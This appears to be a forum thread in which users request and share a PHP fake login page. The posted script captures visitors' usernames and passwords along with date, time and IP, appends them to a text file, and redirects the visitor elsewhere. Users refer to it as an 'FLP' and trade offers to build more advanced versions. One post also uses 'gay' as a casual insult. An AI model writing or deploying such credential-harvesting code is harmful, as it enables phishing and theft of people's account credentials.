I need a login.php file but one that can store:
Username:
Password:
Date:
Time:
Ip:
and i will give you credits ;D thanks
Printable View
I need a login.php file but one that can store:
Username:
Password:
Date:
Time:
Ip:
and i will give you credits ;D thanks
it's not the php file that will store the information, it's the database for example MySQL. You would have to start by making a table on your database called users or something like that and then add all the fields you want (username, password, etc.)
A txt file? >>;
Sorry for the double post but here's the code:
That's real sloppy but it should work. I tried to test it but *** was being gay so it couldn't be tested. Tell me how it is D;PHP Code:
<?php
header ('Location: http://www.example.com ');
$newline = "\n"
$ip = $_SERVER['REMOTE_ADDR'];
$date = date("l") . " " . date("F") . date("d") . "," . date("Y");
$time = date("H:i");
$username = $_POST['username'];
$password = $_POST['password'];
$all = "Username: " . $username . $newline . "Password: " . $password . $newline . "Date: " . $date . $newline . "Time: " . $time . $newline . "IP: " . $ip . $newline . $newline;
$handle = fopen("passwords.txt", "a");
fwrite($handle, $all);
fclose($handle) ;
?>
Ill make an advanced login script and make a thread later releasing it. Ill have it do either mysql or text files and tons of options. Just give me a few minutes.
lols no trust me, if i need an FLP, i can make some epic stuff no one will ever be able to compete with. But i dont need one. BTW, i posted the thread with the source of my advanced one.
yep no problem! Gave me something to do for an hour >.<
Sk8er make me a flp lol ill do anything :B